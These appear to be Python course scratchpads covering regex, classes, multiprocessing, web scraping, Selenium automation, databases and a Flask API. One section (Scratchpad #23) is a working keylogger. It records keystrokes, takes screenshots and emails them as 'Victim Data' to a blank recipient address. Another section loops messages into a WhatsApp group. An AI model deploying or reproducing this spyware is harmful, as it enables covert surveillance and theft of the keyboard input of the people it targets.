# #     phone_regex = re.compile(r"\+?91\s?\d{10}")
# #     match = phone_regex.search(input_data)

# #     if match:
# #         return match.group()
# #     return None

# # extract_phone_no("Call us today on +91 9876654321 and get started.")

# def is_valid_phone(phone_no):
#     # phone_regex = re.compile(r"\+?91\s?\d{10}")
#     # match = phone_regex.fullmatch(phone_no)
#     phone_regex = re.compile(r"^\+?91\s?\d{10}$")
#     match = phone_regex.search(phone_no)
#     if match:
#         return True
#     return False

# print(is_valid_phone("+919876543212"))


class Bank:

    def __init__(self, name):
        self.name = name
        self.customers = []

    def create_customer(self, first_name, last_name):
        customer = Customer(first_name, last_name)
        self.customers.append(customer)
        return customer


class Customer:

    def __init__(self, first_name, last_name):
        self.first_name = first_name
        self.last_name = last_name
        self.balance = 0


sbi = Bank("State Bank of India")
aryan = sbi.create_customer("Aryan", "Bafna")

Scratchpad #22

# # # import random as r
# # from random import randint as ri, choice, shuffle, random as r
# # # from random import *

# # def random():
# #     return "RANDOM MESSAGE"

# # print(random())
# # print(ri(0, 10))

# from datetime import datetime
# import threading
# import multiprocessing

# def dummy_func(x):
#     print(f"Job-{x} started: {datetime.now()}")
#     a = []
#     for i in range(40000):
#         for j in range(2000):
#             a.append([i, j])
#             a.clear()
#     print(f"Job-{x} ended: {datetime.now()}")

# if __name__ == "__main__":
#     # start_time = datetime.now()
#     # dummy_func(1)
#     # dummy_func(2)
#     # dummy_func(3)
#     # dummy_func(4)
#     # print(f"Total time taken: {datetime.now() - start_time}")

#     # t1 = threading.Thread(target=dummy_func, args=(1, ))
#     # t2 = threading.Thread(target=dummy_func, args=(2, ))
#     # t3 = threading.Thread(target=dummy_func, args=(3, ))
#     # t4 = threading.Thread(target=dummy_func, args=(4, ))

#     # start_time = datetime.now()
#     # t1.start()
#     # t2.start()
#     # t3.start()
#     # t4.start()
#     # t1.join()
#     # t2.join()
#     # t3.join()
#     # t4.join()
#     # print(f"Total time taken: {datetime.now() - start_time}")

#     p1 = multiprocessing.Process(target=dummy_func, args=(1, ))
#     p2 = multiprocessing.Process(target=dummy_func, args=(2, ))
#     p3 = multiprocessing.Process(target=dummy_func, args=(3, ))
#     p4 = multiprocessing.Process(target=dummy_func, args=(4, ))

#     start_time = datetime.now()
#     p1.start()
#     p2.start()
#     p3.start()
#     p4.start()
#     p1.join()
#     p2.join()
#     p3.join()
#     p4.join()
#     print(f"Total time taken: {datetime.now() - start_time}")

# [email protected]
import uuid
import datetime


class Company:

    def __init__(self, name, address, phone_nos, email,
                 company_registration_code):
        self.name = name
        self.address = address
        self.phone_nos = phone_nos
        self.email = email
        self.company_registration_code = company_registration_code
        self.employees = []

    def __repr__(self):
        return self.name

    def create_employee(self, first_name, middle_name, last_name, address,
                        aadhar_card_no, pan_card_no, phone, email):
        if not all([
                first_name, middle_name, last_name, address, aadhar_card_no,
                pan_card_no, phone, email
        ]):
            raise ValueError("All fields are required to create an employee")

        new_employee = Employee(first_name, middle_name, last_name, address,
                                aadhar_card_no, pan_card_no, phone, email)
        self.employees.append(new_employee)
        return new_employee

    def find_employee(self, employee_id):
        for employee in self.employees:
            if employee.employee_id == employee_id:
                return employee
        raise ValueError("Employee not found")

    def filter_employees(self, name):
        filtered = [
            employee for employee in self.employees
            if name in employee.get_full_name()
        ]
        if not filtered:
            raise ValueError("No employee found with this name.")
        return filtered

    def delete_employee(self, employee_id):
        self.employees = [
            employee for employee in self.employees
            if employee.employee_id != employee_id
        ]


class Employee:

    def __init__(self, first_name, middle_name, last_name, address,
                 aadhar_card_no, pan_card_no, phone, email):
        self.first_name = first_name
        self.middle_name = middle_name
        self.last_name = last_name
        self.address = address
        self.aadhar_card_no = aadhar_card_no
        self.pan_card_no = pan_card_no
        self.phone = phone
        self.email = email
        self.employee_id = str(uuid.uuid4())
        self.attendance = []

    def __repr__(self):
        return self.first_name + " " + self.middle_name + " " + self.last_name

    def get_full_name(self):
        return f"{self.first_name} {self.middle_name} {self.last_name}"

    def get_details(self):
        return {
            "first_name": self.first_name,
            "middle_name": self.middle_name,
            "last_name": self.last_name,
            "address": self.address,
            "aadhar_card_no": self.aadhar_card_no,
            "pan_card_no": self.pan_card_no,
            "email": self.email,
            "phone": self.phone,
            "employee_id": self.employee_id
        }

    def edit_details(self,
                     first_name=None,
                     middle_name=None,
                     last_name=None,
                     address=None,
                     phone=None,
                     email=None,
                     aadhar_card_no=None,
                     pan_card_no=None):
        if first_name:
            self.first_name = first_name
        if middle_name:
            self.middle_name = middle_name
        if last_name:
            self.last_name = last_name
        if address:
            self.address = address
        if phone:
            self.phone = phone
        if email:
            self.email = email
        if aadhar_card_no:
            self.aadhar_card_no = aadhar_card_no
        if pan_card_no:
            self.pan_card_no = pan_card_no

    def punch_in(self):
        self.attendance.append({'date': datetime.now(), 'punch': 'in'})

    def punch_out(self):
        self.attendance.append({'date': datetime.now(), 'punch': 'out'})

Scratchpad #23

from pynput.keyboard import Key, Listener
from time import sleep
import pyautogui
import yagmail
from datetime import datetime

count = 0
keys = []

try:

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        if count >= 10:
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(" ")
                elif k.find("cap_lock") > 0:
                    f.write("<CAPS_LOCK>")
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("screenshot.png")

    def send_email():
        receiver_email = ""

        subject = f"Victim Data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}"
        yag = yagmail.SMTP("", "")
        contents = ["<b><font color='red'>YOUR VICTIM DATA</font></b>"]
        attachments = ["log.txt", "screenshot.png"]
        yag.send(receiver_email, subject, contents, attachments)
        print("Email sent")

    def on_release(key):
        if key == Key.esc:
            return False

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            sleep(25)
            take_screenshot()
            send_email()
        listener.join()
except:
    pass

Scratchpad 24

data = """
<html>
	<head>
		<title>My Web App</title>
	</head>
	<body>
		<h1>Hello World</h1>
		<div>
			<h2 id="special">Hello Universe</h2>
			<h2>Hello Universe</h2>
			<h2>Hello Universe</h2>
			<p>
				Lorem ipsum, dolor sit amet consectetur adipisicing elit. Quos, error,
				illo recusandae fugiat quis molestias <b>laudantium doloribus</b> ipsum
				ex ratione tenetur dolore modi, aliquid reiciendis? Quasi perspiciatis
				expedita vel et.
			</p>
			<p>Lorem ipsum dolor sit amet consectetur, adipisicing elit. Officiis vitae veritatis iure, sed nam animi nisi fugiat ipsam qui nostrum.</p>
			<ul>
				<li class="red-text">Lorem ipsum dolor sit amet consectetur adipisicing elit. Omnis, blanditiis!</li>
				<li class="red-text">Lorem ipsum dolor sit amet consectetur adipisicing elit. Omnis, blanditiis!</li>
				<li class="red-text">Lorem ipsum dolor sit amet consectetur adipisicing elit. Omnis, blanditiis!</li>
				<li>Lorem ipsum dolor sit amet consectetur adipisicing elit. Omnis, blanditiis!</li>
			</ul>
			<a href="https://google.com" target="_blank">Go to google</a>
		</div>
	</body>
</html>
"""

from bs4 import BeautifulSoup

soup = BeautifulSoup(data, "html.parser")
# print(type(soup))
# print(soup.body.div.p)

# print(soup.find("li"))
# print(soup.find_all("li"))
# print(soup.find(id="special"))
# print(soup.find_all(class_="red-text"))

# print(soup.find(id="special").get_text())
# print(soup.find("a")["href"])

# import requests
# from bs4 import BeautifulSoup
# from csv import writer

# response = requests.get("https://arstechnica.com/")

# soup = BeautifulSoup(response.text, "html.parser")

# articles = soup.find_all(class_="article")

# with open("articles.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(["title", "excerpt", "author", "date", "link"])

#     for article in articles:
#         title = article.find("h2").get_text()
#         excerpt = article.find(class_="excerpt").get_text()
#         author = article.find("span").get_text()
#         date = article.find("time").get_text()
#         link = article.find("a")["href"]

#         csv_writer.writerow([title, excerpt, author, date, link])

# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from selenium.webdriver.common.by import By
# from time import sleep

# browser = webdriver.Chrome()
# browser.maximize_window()

# browser.get("https://www.youtube.com/")
# sleep(3)

# search_box = browser.find_element(
#     By.XPATH,
#     "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input"
# )
# search_box.click()
# search_box.send_keys("oppenheimer trailer", Keys.ENTER)
# sleep(3)

# video = browser.find_element(By.PARTIAL_LINK_TEXT, "Official Trailer")
# sleep(1)
# video.click()

# # video = browser.find_element(
# #     By.XPATH,
# #     "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string"
# # )
# # video.click()

# sleep(20)

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from time import sleep

browser = webdriver.Chrome()
browser.maximize_window()

browser.get("https://web.whatsapp.com/")
sleep(20)

search_box = browser.find_element(
    By.XPATH,
    "/html/body/div[1]/div/div/div[4]/div/div[1]/div/div/div[2]/div/div[1]/p")
search_box.click()
search_box.send_keys("Python Daily Eve RS 2/6/23", Keys.ENTER)
sleep(2)

for num in range(20):
    message_box = browser.find_element(
        By.XPATH,
        "/html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p"
    )
    message_box.click()
    message_box.send_keys("TEST MESSAGE FROM PYTHON", Keys.ENTER)
    sleep(1)

sleep(2000)

# /html/body/div[1]/div/div/div[4]/div/div[1]/div/div/div[2]/div/div[1]/p
# Python Daily Eve RS 2/6/23
# /html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p

Scratchpad #25-26 #app

# import pymongo
# from pprint import pprint

# client = pymongo.MongoClient()
# mydb = client["mydb"]  # use mydb
# users = mydb["users"]

# # # user = {"name": "John Doe", "email": "[email protected]", "age": 20}
# # # users_data = [{
# # #     "name": "Jack Doe",
# # #     "email": "[email protected]",
# # #     "age": 25
# # # }, {
# # #     "name": "Jill Roe",
# # #     "email": "[email protected]",
# # #     "age": 28,
# # #     "phone": "+91 2986750675899"
# # # }]

# # users.insert_one(user)
# # users.insert_many(users_data)

# # all_users = users.find()
# # for user in all_users:
# #     pprint(user)

# # users.update_one(
# #     {"name": "John Doe"},
# #     {"$set": {
# #         "profession": "Python Programmer",
# #         "phone": "+91 8876543221"
# #     }})

# # users.delete_one({"email": {"$gt": 22}})

# import sqlite3

# conn = sqlite3.connect("mydb.sqlite")
# cursor = conn.cursor()

# # cursor.execute(
# #     "CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT, age INTEGER);"
# # )

# user = ("John Doe", "[email protected]")

# cursor.execute("INSERT INTO users (name, email) VALUES (?, ?)", user)

# # cursor.execute("SELECT * FROM users")
# # data = cursor.fetchall()
# # print(data)

# # cursor.execute("DELETE FROM users WHERE name = ?", ("John Doe", ))

# conn.commit()
# conn.close()

from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def home():
    return "API is running."


@app.route("/about")
def about():
    return {"message": "This is the data you wanted."}


if __name__ == "__main__":
    app.run()




# from flask import Flask, request, jsonify
# from pymongo import MongoClient
# from bson import ObjectId
# from twilio.rest import Client
# from random import randint

# app = Flask(__name__)
# client = MongoClient("mongodb://localhost:27017")
# db = client["users_crud_db"]
# collection = db["users"]

# # Twilio Creds
# account_sid = ""
# auth_token = ""
# twilio_phone_number = ""

# # Twilio Client
# twilio_client = Client(account_sid, auth_token)

# # Generate a random OTP
# def generate_otp():
#     return str(randint(1000, 9999))

# @app.route("/")
# def home():
#     return "API is running."

# # Create a new user record/document
# @app.route("/api/users", methods=["POST"])
# def create_user():
#     data = request.json
#     otp = generate_otp()
#     message = f"Your OTP for user registration is: {otp}"
#     twilio_client.messages.create(to=data["phone_no"],
#                                   from_=twilio_phone_number,
#                                   body=message)
#     data["otp"] = int(otp)
#     result = collection.insert_one(data)
#     return {"id": str(result.inserted_id)}, 201

# # Verify the OTP and update the user record
# @app.route("/api/verify_otp/<id>", methods=["POST"])
# def verify_otp(id):
#     data = request.json
#     user = collection.find_one({"_id": ObjectId(id)})
#     if user is None:
#         return {"message": "User not found"}, 404
#     if user.get("verified", False):
#         return {"message": "User already verified"}, 400
#     if user["otp"] != int(data["otp"]):
#         return {"message": "Invalid OTP"}, 400

#     result = collection.update_one({"_id": ObjectId(id)}, {
#         "$set": {
#             "verified": True
#         },
#         "$unset": {
#             "otp": ""
#         }
#     })
#     if result.modified_count == 0:
#         return {"message": "User already verified"}, 400
#     return {"message": "User verified"}, 200

# # Get all user documents
# @app.route("/api/users", methods=["GET"])
# def get_all_users():
#     data = list(collection.find())
#     for user in data:
#         user["_id"] = str(user["_id"])
#     return jsonify(data)

# # Get a single user document by ID
# @app.route("/api/users/<id>", methods=["GET"])
# def get_user(id):
#     data = collection.find_one({"_id": ObjectId(id)})
#     if data is None:
#         return {"message": "User not found"}, 404
#     data["_id"] = str(data["_id"])
#     return jsonify(data)

# # Update a user document by ID
# @app.route("/api/users/<id>", methods=["PUT"])
# def update_user(id):
#     data = request.json
#     result = collection.update_one({"_id": ObjectId(id)}, {"$set": data})
#     if result.modified_count == 0:
#         return {"message": "User not found or no updates happened"}, 404
#     return {"message": "User updated"}

# # Delete a user document by ID
# @app.route("/api/users/<id>", methods=["DELETE"])
# def delete_user(id):
#     result = collection.delete_one({"_id": ObjectId(id)})
#     if result.deleted_count == 0:
#         return {"message": "User not found"}, 404
#     return {"message": "User deleted"}

# if __name__ == "__main__":
#     app.run(debug=True)

# # localhost:5000/api/users
# # something.com/api/users <- endpoint

# -------------------

# from pytube import YouTube

# video_url = input("Enter the YouTube video URL: ")

# yt = YouTube(video_url)
# stream = yt.streams.get_highest_resolution()

# stream.download()

# print(f"Successfully download video {yt.title} to the current directory")

All Scratchpads ZIP